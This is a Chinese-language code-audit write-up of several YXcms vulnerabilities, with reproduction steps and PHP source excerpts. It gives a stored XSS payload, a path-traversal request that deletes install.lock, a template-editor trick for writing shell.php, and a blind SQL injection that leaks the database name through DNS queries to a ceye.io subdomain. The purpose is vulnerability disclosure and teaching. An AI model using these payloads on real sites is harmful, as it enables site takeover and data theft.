0x01前言

在先知看到的,大部分都是後臺漏洞,部分廠商對於後臺的漏洞都不認可,因為廠商覺得能進入後臺這些漏洞都不是漏洞。最恐怖的是廠商否認了漏洞存在,然後偷偷的去修復。

0x02 安裝程序

具體的安裝和使用的詳細可以上官網查看kancloud.cn/yongheng/yx

0x03 前臺XSS

1.漏洞復現

  • 打開鏈接sb.com/index.php? 輸入payload:<svg/onload=alert(1)>

  • 然後登陸後臺,查看審核

點擊編輯

2.漏洞分析

  • 前臺的文件源碼protected/apps/default/controller/columnController.php

public function index()
{
$ename=in($_GET[col]);
if(empty($ename)) throw new Exception(欄目名不能為空~, 404);
$sortinfo=model(sort)->find("ename={$ename}",id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid);
$path=$sortinfo[path].,.$sortinfo[id];
$deep=$sortinfo[deep]+1;
$this->col=$ename;
switch ($sortinfo[type]) {
case 1://文章
$this->newslist($sortinfo,$path,$deep);
break;
case 2://圖集
$this->photolist($sortinfo,$path,$deep);
break;
case 3://單頁
$this->page($sortinfo,$path,$deep);
break;
case 4://應用

break;
case 5://自定義

break;
case 6://表單
$this->extend($sortinfo,$path,$deep);
break;
default:
throw new Exception(未知的欄目類型~, 404);
break;
}
}

  • 後臺的文件源碼protected/apps/admin/controller/extendfieldController.php

public function mesedit()
{
$tableid=intval($_GET[tabid]);
if(!$this->checkConPower(extend,$tableid)) $this->error(您沒有許可權管理此獨立表內容~);
$id=intval($_GET[id]);//信息id
if(empty($tableid) || empty($id) ) $this->error(參數錯誤~);
$tableinfo = model(extend)->select("id={$tableid} OR pid={$tableid}",id,tableinfo,name,type,defvalue,pid,norder DESC);
if(empty($tableinfo)) $this->error(自定義表不存在~);
if (!$this->isPost()) {
$info=model(extend)->Extfind($tableinfo[0][tableinfo],"id={$id}");
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}else{
for($i=1;$i<count($tableinfo);$i++){
if(is_array($_POST[$tableinfo[$i][tableinfo]]))
$data[$tableinfo[$i][tableinfo]]=implode(,,$_POST[$tableinfo[$i][tableinfo]]);
else
$data[$tableinfo[$i][tableinfo]]=html_in($_POST[$tableinfo[$i][tableinfo]]);
}
if(model(extend)->Extup($tableinfo[0][tableinfo],"id={$id}",$data)) $this->success(修改成功~,url(extendfield/meslist,array(id=>$tableid)));
else $this->error(信息修改失敗~);
}
}

中間沒什麼過濾,具體可以看松哥的一篇文章:hackersb.cn/hacker/85.h

0x04 任意文件刪除

1.漏洞復現

  • 需要先登錄後臺,然後訪問之後會顯示縮略圖不存在: Payload:sb.com/index.php? POST:picname=../../protected/apps/install/install.lock

  • 然後訪問網站首頁就會自動轉到安裝的頁面sb.com/index.php

  • 看到目錄下的install.lock文件已經被刪除了

2.漏洞分析

  • 漏洞文件:protected/apps/admin/controller/photoController.php,在第355行的delpic()函數,可以看到$picname接收POST過來的值,然後$path等於文件開頭定義的靜態變數 static protected $uploadpath=;//圖片上傳路徑 沒有對傳入的值進行任何的過濾,使用函數file_exists()判斷一下文件是否存在就給unlink執行刪除文件了。

public function delpic()
{
if(empty($_POST[picname])) $this->error(參數錯誤~);
$picname=$_POST[picname];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo 圖片不存在~;return;}
if(file_exists($path.thumb_.$picname))
@unlink($path.thumb_.$picname);
else {echo 縮略圖不存在~;return;}
echo 原圖以及縮略圖刪除成功~;
}

0x05 任意文件寫入

1.漏洞復現

  • 打開地址sb.com/index.php?

  • 打開我們的文件監控軟體FolderChangesView,輸入我們的程序路徑D:phpStudyPHPTutorialWWWYXcms

  • 然後寫shell.php文件名,寫入我們的代碼。

  • 然後會在protectedappsdefaultviewdefault下面生成我們寫入的文件。

2.漏洞分析

  • 漏洞文件protected/apps/admin/controller/setController.php的140行,$tpfile接收到GET傳過來的值,如果為空的話就會報非法操作。傳過來的URL是admin/set/tpadd&Mname=default,所以$tpfile就是default
  • 再來下是檢測是否有POST的值,接受到POST過來的filename,用trim去掉兩邊的空格。接收到POST過來的code,用stripcslashes反轉義。
  • $filepath=$templepath.$filename..php這一句是路徑和文件的拼接,然後下面檢測路徑是否存在。
  • 最後沒有過濾任何的危險函數就傳給file_put_contents函數,寫入網站的目錄。

public function tpadd()
{
$tpfile=$_GET[Mname];
if(empty($tpfile)) $this->error(非法操作~);
$templepath=BASE_PATH . $this->tpath.$tpfile./;
if($this->isPost()){
$filename=trim($_POST[filename]);
$code=stripcslashes($_POST[code]);
if(empty($filename)||empty($code)) $this->error(文件名和內容不能為空);
$filepath=$templepath.$filename..php;
if($this->ifillegal($filepath)) {$this->error(非法的文件路徑~);exit;}
try{
file_put_contents($filepath, $code);
} catch(Exception $e) {
$this->error(模板文件創建失敗!);
}
$this->success(模板文件創建成功!,url(set/tplist,array(Mname=>$tpfile)));
}else{
$this->tpfile=$tpfile;
$this->display();

}
}

0x06 SQL注入

1.漏洞復現

這個盲注可以用ceye.io和python腳本跑,我之前的文章也有寫到。 sb.com/index.php? payload:1 and if((select load_file(concat(\\,(select database()),.xxxx.ceye.io\abc))),1,1))-- - 點擊刪除

然後用burp截獲數據,修改內容加上我們的payload,用原文的payload後面+會報錯

然後進入ceye.io/records/dns 查看我們的數據

2.漏洞分析

  • 查看漏洞文件protected/apps/admin/controller/fragmentController.php的第63行

public function del()
{
if(!$this->isPost()){
$id=intval($_GET[id]);
if(empty($id)) $this->error(您沒有選擇~);
if(model(fragment)->delete("id=$id"))
echo 1;
else echo 刪除失敗~;
}else{
if(empty($_POST[delid])) $this->error(您沒有選擇~);
$delid=implode(,,$_POST[delid]);
if(model(fragment)->delete(id in (.$delid.)))
$this->success(刪除成功,url(fragment/index));
}
}

  • 我們跟if(model(fragment)->delete("id=$id")),它會先到protected/core.php文件裡面的model

function model($model){
static $objArray = array();
$className = $model . Model;
if( !is_object($objArray[$className]) ){
if( !class_exists($className) ) {
throw new Exception(config(_APP_NAME). / . $className . .php 模型類不存在);
}
$objArray[$className] = new $className();
}
return $objArray[$className];
}

  • 然後到protected/apps/admin/model/fragmentModel.php

<?php
class fragmentModel extends baseModel{
protected $table = fragment;
}

  • 繼續protected/base/model/baseModel.php

<?php
class baseModel extends model{
protected $prefix=;
public function __construct( $database= DB,$force = false ){
parent::__construct();
$this->prefix=config(DB_PREFIX);
}
}

  • 再來到最底層的資料庫操作類protected/base/model/model.php的第45行

public function delete($condition){
return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
}

這個delete()是從哪裡來的,我們來看第十三行的代碼,創建了一個對象cpModel

static public function connect($config, $force=false){
static $model = NULL;
if( $force==true || empty($model) ){
$model = new cpModel($config);
}
return $model;
}

  • 漏洞文件在protected/include/core/cpModel.class.php,

public function delete() {
$table = $this->options[table]; //當前表
$where = $this->_parseCondition(); //條件
if ( empty($where) ) return false; //刪除條件為空時,則返回false,避免數據不小心被全部刪除

$this->sql = "DELETE FROM $table $where";
$query = $this->db->execute($this->sql);
return $this->db->affectedRows();
}

這裡用到了一個方法_parseCondition()

private function _parseCondition() {
$condition = $this->db->parseCondition($this->options);
$this->options[where] = ;
$this->options[group] = ;
$this->options[having] = ;
$this->options[order] = ;
$this->options[limit] = ;
$this->options[field] = *;
return $condition;
}
}

這個函數是在protected/include/core/db/cpMysql.class.php的128行

public function parseCondition($options) {
$condition = "";
if(!empty($options[where])) {
$condition = " WHERE ";
if(is_string($options[where])) {
$condition .= $options[where];
} else if(is_array($options[where])) {
foreach($options[where] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$condition = substr($condition, 0,-4);
} else {
$condition = "";
}
}

if( !empty($options[group]) && is_string($options[group]) ) {
$condition .= " GROUP BY " . $options[group];
}
if( !empty($options[having]) && is_string($options[having]) ) {
$condition .= " HAVING " . $options[having];
}
if( !empty($options[order]) && is_string($options[order]) ) {
$condition .= " ORDER BY " . $options[order];
}
if( !empty($options[limit]) && (is_string($options[limit]) || is_numeric($options[limit])) ) {
$condition .= " LIMIT " . $options[limit];
}
if( empty($condition) ) return "";
return $condition;
}

裡面有一個行數來過濾escape,我們找到74行的這個函數定義

public function escape($value) {
if( isset($this->_readLink) ) {
$link = $this->_readLink;
} elseif( isset($this->_writeLink) ) {
$link = $this->_writeLink;
} else {
$link = $this->_getReadLink();
}

if( is_array($value) ) {
return array_map(array($this, escape), $value);
} else {
if( get_magic_quotes_gpc() ) {
$value = stripslashes($value);
}
return "" . mysql_real_escape_string($value, $link) . "";
}
}

不過這個函數有一句is_array如果是數組才會執行下面的過濾,如果不是的話就正常執行下去,沒有任何sql的過濾就造成了注入漏洞。

0x07 參考

程序下載:lanzous.com/i1w4bsb

xz.aliyun.com/t/2734

bbs.ichunqiu.com/thread

ceye.io


推薦閱讀:
相關文章